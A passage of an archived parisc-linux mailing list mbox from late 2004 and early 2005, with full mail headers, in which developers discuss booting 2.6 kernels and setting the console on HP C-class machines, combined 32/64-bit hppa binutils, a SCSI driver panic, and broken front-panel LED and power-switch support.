  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624523 26596 80.91.229.3 (22 Nov 2014 02:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:43 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: Alexander Bartolich <alexander.bartolich@gmx.at>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 13:28:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 31 Dec 2004 14:28:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ABFBF3BE53; Fri, 31 Dec 2004 06:28:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07934-03; Fri, 31 Dec 2004 06:28:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B70C93BE56; Fri, 31 Dec 2004 06:28:11 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB1A63BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 06:28:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07934-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 06:28:04 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9F4893BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 06:28:04 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8D268495693; Fri, 31 Dec 2004 06:28:01 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id 607AB495692
	for <parisc-linux@parisc-linux.org>;
	Fri, 31 Dec 2004 06:27:57 -0700 (MST)
Original-Received: from [83.134.224.20] (helo=[83.134.224.20])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CkMok-0007oG-2e; Fri, 31 Dec 2004 14:27:46 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041230231420.GA15674@nilpferd.asyl>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25067

Hello Alexander,

Alexander Bartolich wrote:
> I have a C240 satisfyingly running Debian Testing and kernels
> from 2.4.17 to 2.4.27-pa4, both stock and custom compiled.
> 
> However, no variation of 2.6.x ever booted. Since the last message
> I see is that infamous you may need to switch your console I
> eventually organized a serial cable, a second machine running
> minicom and got the same result:
> 
[...]
> 
> Where is this FAQ item mentioned above?
Simply at <http://www.parisc-linux.org/> :-)

> And how is this ment, anyway?
> Just switching consoles within HP's BIOS,
Two possibility:
     1) disconect all kdb from builtin interfaces (on my c110 there are ps2 and hp-hil) then pdc (hp's 'bios') will switch 
automaticaly to serial port 1 as console (then booting kernel will also use this)
     2) at pdc boot prompt (Main Menu: Enter command or menu > ) (this is the one of my c110) choose submenu "COnfiguration menu" in 
which option "PAth [PRI|ALT] [<path>]" would help you to select your console (see: help path) (e.g. to set serial1 as console: "path 
con serial_1"

> or passing some arguments via /etc/palo.conf,
only requested for some k model iirc (to force kernel to use ttyB0 for the mux)

> or compiling the kernel with different settings?
> 
At a first glance I would try first the b180 config (a quick look at <http://www.openpa.net/index.html>, seems to me the nearest):
prebuild kernel for different model are available at <http://cvs.parisc-linux.org/download/linux-2.6/> (see instruction at the top 
of page to install package :-)

or build your own: in the subdir arch/parisc/configs/ you would find b180_defconfig which you copy as .config in the top of your 
kernel tree then "make oldconfig; make vmlinux" ;-)

> I'd really like to help more, but without any diagnostics of 2.6.x ...
> Well, here is the start of dmesg when booting with a custom compiled
> kernel:
> 
Not trivial exercise, but you can try to build an equivalent one for 2.6 (simply copy the 2.4 .config into 2.6 was not enough for my 
c110, I realy have to check option by option)

[...]
> STI device: HPA4554A
> stifb: Unsupported gfx card id 0x2fc1066b
A few gfx card are supported (lack of doc) :-(

Even thought some foreign pci card (some ATI and Vodoo iirc) are reported to works (not using stifb obviously because couldn't be 
detected by pdc) for X (see m-l: <http://www.parisc-linux.org/mailing-lists/index.html> )

Hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils 32/64 bit question
Date: Thu, 30 Dec 2004 22:40:20 -0500
Organization: wh0rd.org
Lines: 13
Approved: news@gmane.org
Message-ID: <200412302240.20913.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624523 26598 80.91.229.3 (22 Nov 2014 02:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 03:41:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 31 Dec 2004 04:41:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B344D3BE53; Thu, 30 Dec 2004 20:41:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02193-03; Thu, 30 Dec 2004 20:41:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8B9203BE56; Thu, 30 Dec 2004 20:40:39 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B8523BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 20:40:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32537-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 20:40:31 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3F5703BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 20:40:31 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id BB3D34957BE; Thu, 30 Dec 2004 20:40:30 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 3EB2E495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 20:40:30 -0700 (MST)
Original-Received: (qmail 26090 invoked from network); 30 Dec 2004 22:40:22 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 30 Dec 2004 22:40:22 -0500
Original-Received: (qmail 17051 invoked from network); 30 Dec 2004 22:40:20 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 30 Dec 2004 22:40:20 -0500
User-Agent: KMail/1.7.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25068

has anyone toyed around with having the default hppa binutils support both 
32bit and 64bit code ?

i was thinking along the lines of how sparc binutils sets the default target 
based upon the configure target (32bit or 64bit), but always includes support 
for the other ...
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils 32/64 bit question
Date: Thu, 30 Dec 2004 23:04:15 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200412310404.iBV44G45000401@hiauly1.hia.nrc.ca>
References: <200412302240.20913.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624524 26601 80.91.229.3 (22 Nov 2014 02:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 04:04:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 31 Dec 2004 05:04:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E42653BE53; Thu, 30 Dec 2004 21:04:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02445-03; Thu, 30 Dec 2004 21:04:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 629003BE56; Thu, 30 Dec 2004 21:04:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6479D3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 21:04:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02398-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 21:04:20 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7DE883BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 21:04:20 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 39F13495693; Thu, 30 Dec 2004 21:04:20 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 06074495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 21:04:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBV44GD2000402; Thu, 30 Dec 2004 23:04:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBV44G45000401;
	Thu, 30 Dec 2004 23:04:16 -0500 (EST)
In-Reply-To: <200412302240.20913.vapier@gentoo.org> from "Mike Frysinger" at
	Dec 30, 2004 10:40:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25069

> has anyone toyed around with having the default hppa binutils support both 
> 32bit and 64bit code ?

The main problem is that ld is different.  It would take some work
to merge them.  The 64-bit ld uses .opd's and the 32-bit ld doesn't.
There are advantages to using .opd's (e.g., function descriptors
are unique).  We've talked about this but no significant progress
has been made.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Sun, 2 Jan 2005 00:58:32 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20050102005832.GI18080@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
	<20041229034331.GS11543@parcelfarce.linux.theplanet.co.uk>
	<200412291419.36568.vapier@gentoo.org>
	<200501011839.13090.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624524 26602 80.91.229.3 (22 Nov 2014 02:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jan 2005 00:58:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 02 Jan 2005 01:58:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1ED153BE48; Sat,  1 Jan 2005 17:58:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27792-02; Sat, 1 Jan 2005 17:58:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A018C3BE53; Sat,  1 Jan 2005 17:58:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 186583BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Jan 2005 17:58:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26674-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Jan 2005 17:58:35 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28C163BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Jan 2005 17:58:35 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A241949568B; Sat,  1 Jan 2005 17:58:34 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 57D64495689
	for <parisc-linux@parisc-linux.org>;
	Sat,  1 Jan 2005 17:58:34 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cku4m-0008NT-7I; Sun, 02 Jan 2005 00:58:32 +0000
Content-Disposition: inline
In-Reply-To: <200501011839.13090.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25070

On Sat, Jan 01, 2005 at 06:39:13PM -0500, Mike Frysinger wrote:
> On Wednesday 29 December 2004 02:19 pm, Mike Frysinger wrote:
> > system booted nicely :)
> 
> fyi, i have two of these drives ... the other i use in an alpha of mine ...
> 
> on the alpha, 2.6.10 mainline just hangs at boot during SCSI negotiation ... i 
> ripped out the hunks that apply to the files in drivers/scsi/sym53c8xx_2/ 
> from patch-2.6.10-pa2 and applied it to 2.6.10 mainline and the resulting 
> kernel booted nicely ... again, the system fell back to async transfer mode, 
> but that's better than nothing at all

I build i386 and ia64 kernels from the parisc CVS tree ... alpha should
work as well in the pa tree as it does in mainline.  If something
*doesn't* work, let me know.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: front-panel LED and switch support broken (was:
	2.6.10-pa1 compile fails)
Date: Mon, 3 Jan 2005 03:19:07 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20050103031907.GM18080__20148.4752273702$1416624524$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0412301311180.17049-100000@hal.pp.fishpool.fi>
	<Pine.LNX.4.21.0412301639570.25032-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624524 26604 80.91.229.3 (22 Nov 2014 02:48:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@iki.fi>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 03:20:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 03 Jan 2005 04:20:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1F6A3BE59; Sun,  2 Jan 2005 20:20:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09475-08; Sun, 2 Jan 2005 20:19:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC9EA3BE5A; Sun,  2 Jan 2005 20:19:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 011353BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Jan 2005 20:19:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09475-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Jan 2005 20:19:12 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DC1CE3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Jan 2005 20:19:11 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8F8DA49572F; Sun,  2 Jan 2005 20:19:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 4602049572D
	for <parisc-linux@parisc-linux.org>;
	Sun,  2 Jan 2005 20:19:11 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1ClIkN-0004n1-9y; Mon, 03 Jan 2005 03:19:07 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0412301639570.25032-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25071

On Thu, Dec 30, 2004 at 04:40:38PM +0200, Martin-ric Racine wrote:
> On Thu, 30 Dec 2004, Martin-ric Racine wrote:
> 
> > On Thu, 30 Dec 2004, Martin-ric Racine wrote:
> > However, support for the front-panel LEDs and switches is BROKEN in 2.6.10-pa1:
> > when I press the power switch, it kills the AC power instead of sending a signal
> > to the kernel to shut itself down.  OUCH!  The power/status LED is also off.
> 
> This is still broken in 2.6.10-pa2 as well.

On which machine?  It works fine on my 725 and c3600.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Bartolich <alexander.bartolich@gmx.at>
